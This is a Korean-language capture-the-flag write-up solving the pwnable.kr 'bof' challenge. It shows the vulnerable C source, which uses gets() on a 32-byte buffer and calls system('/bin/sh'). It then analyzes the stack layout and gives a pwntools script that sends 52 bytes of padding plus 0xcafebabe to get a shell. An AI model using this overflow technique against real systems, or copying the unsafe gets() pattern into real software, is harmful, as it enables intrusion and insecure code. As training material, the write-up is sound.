문제
주어진 bof.c 파일이다.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
취약점 분석
if(key == 0xcafebabe){
system("/bin/sh");
}
func() 함수에서 key 값이 0xcafebabe이면 쉘을 출력한다.
func(0xdeadbeef);
main에서 실행되는 func()에는 0xdeadbeef를 입력하는데, 이 값을 오버플로우를 이용해서 0xcafebabe로 바꾸면 문제를 해결할 수 있다.
gets(overflowme); // smash me!
gets()에서 입력받는 길이를 제한하지 않고 있기 때문에 오버플로우가 가능하다.
익스플로잇
gdb를 이용해서 bof 바이너리의 func() 함수를 분석했다.
call을 통해 printf를 실행한 모습이다.
call을 통해 gets를 실행한 모습이다.
key가 ebp+0x8에 저장되어 0xcafebabe와 값을 비교하고 있는 것을 확인할 수 있다.
따라서 overflowme[32]는 ebp-0x2c에 저장된다고 추론할 수 있다.
아마도 스택 구조는 overflowme[32] + dummy[12] + ebp+ret[8] + key[4] 의 모습으로 이루어져 있는 것 같다.
그렇다면 우리는 더미 값으로 52개를 넣어주면 오버플로우를 할 수 있게 된다.
from pwn import *
p = remote("pwnable.kr", 9000)
payload = "A"*52 + "\xbe\xba\xfe\xca"
p.sendline(payload)
p.interactive()
무사히 해결했다!